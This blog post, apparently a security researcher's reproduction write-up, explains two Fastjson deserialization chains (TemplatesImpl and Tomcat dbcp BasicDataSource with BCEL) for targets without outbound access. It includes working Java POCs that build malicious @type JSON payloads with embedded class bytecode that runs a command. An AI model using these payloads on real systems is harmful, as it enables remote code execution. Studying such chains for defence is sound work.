Fastjson不出网利用

Fastjson不出网利用

Posted by SEVENTEEN on May 8, 2022

前言

   在不出网的情况下Fastjson无法使用rmi之类的方法来rce,所以这次来复现一下Fastjson不出网情况下的利用。 为了方便复现,这里选择1.2.4版本的Fastjson。

利用类

   1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

(需要parse或者parseObject第二个参数为Feature.SupportNonPublicField)

   3. org.apache.tomcat.dbcp.dbcp.BasicDataSource(需要dbcp或tomcat-dbcp的依赖)

   3. org.apache.tomcat.dbcp.dbcp2.BasicDataSource

(Tomcat8.0后的版本,同样需要dbcp或tomcat-dbcp的依赖)

TemplatesImpl

   这种利用方式比较苛刻,需要parse或者parseObject第二个参数为Feature.SupportNonPublicField,否则无法访问。 因为TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,fastjson只能反序列化public。

   跳过前面文章分析过的一些代码段,直接来看一下如何解析_bytecodes,以及怎么调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类。 首先,来到com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze,这里调用parser.parseArray方法对字节数组进行解析。

   在该方法内又获取反序列化器进行反序列化操作,回调deserialze方法。

   到deserialze方法后,调用lexer.bytesValue获取bytes。

   这里对数据进行base64解码处理,将bytes数据返回。所以_bytecodes需要进行base64编码。

   根据@type和outputProperties调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties, 接着调用newTransformer方法。

   继续跟进一下getTransletInstance方法。

   来到getTransletInstance方法,这个_name没什么用直接跳过(只要不为空就不会直接返回null)。同时可以看到408行对_class数组中的class进行实例化, 所以重点看一下_class数组中class怎么来的。跟进对_class进行判空的if,这里调用了defineTransletClasses方法。

   可以看到loader.defineClass的值赋值给了_class数组,并且会获取_class的父类判断是否继承于ABSTRACT_TRANSLET, 否则会在下面的if中抛出异常。所以poc构造class需要继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet。

   并且如果没有_tfactory,这里会进入doPrivileged抛出异常。

   这里也可以看到loader.defineClass方法确实能将base64解码后的_bytecodes转化为class。

   之后回到这里将_class数组中的class实例化。

POC

public static void main(String[] args) throws Exception {
    String bytecode = "yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAMVGVtcFBvYy5qYXZhDAAIAAkHACEMACIAIwEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMACQAJQEAEEZhc3Rqc29uL1RlbXBQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAADQAEAA4ADQAPAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEwABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFwAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGgAIABsADAAAAAQAAQAUAAEAFQAAAAIAFg==";
    String payload = "{" +
            "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
            "\"_bytecodes\": [\"" + bytecode + "\"], " +
            "\"_name\": \"pwn\", " +
            "\"_tfactory\": { }, " +
            "\"_outputProperties\":{ }" +
            "}";
    JSON.parse(payload, Feature.SupportNonPublicField);
}

BasicDataSource

   这条利用链主要是利用tomcat中com.sun.org.apache.bcel.internal.util.ClassLoader#loadclass方法加载bcel字节码,之后调用defineClass进行加载字节码。 这里先来到org.apache.tomcat.dbcp.dbcp2.BasicDataSource#getConnection方法中,这里调用了createDataSource方法。

   接着调用了createConnectionFactory方法,继续跟进一下。

   来到这里就开始有头绪了,这里调用了Class.forName方法去加载driverClassName,之后调用loadClass加载。

   在loadClass方法中可以看到这里判断class_name是否为BECL编码,是的话传入createClass方法。

   到了createClass方法,这里用Utility.decode方法将BECL编码转为了字节码。

POC

public static void main(String[] args) throws Exception {
    JavaClass cls = Repository.lookupClass(BasicPoc.class);
    String code = Utility.encode(cls.getBytes(), true);
    String bcelcode = "$$BCEL$$" + code;
//        new ClassLoader().loadClass(code).newInstance();
    String payload = "{\n" +
            "    {\n" +
            "        \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
            "        \"x\":{\n" +
            "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
            "                \"driverClassLoader\": {\n" +
            "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
            "                },\n" +
            "                \"driverClassName\": \"" + bcelcode + "\"\n" +
            "        }\n" +
            "    }: \"x\"\n" +
            "}";
    JSON.parse(payload);
}

There Is Nothing Below

   

Turn at the next intersection.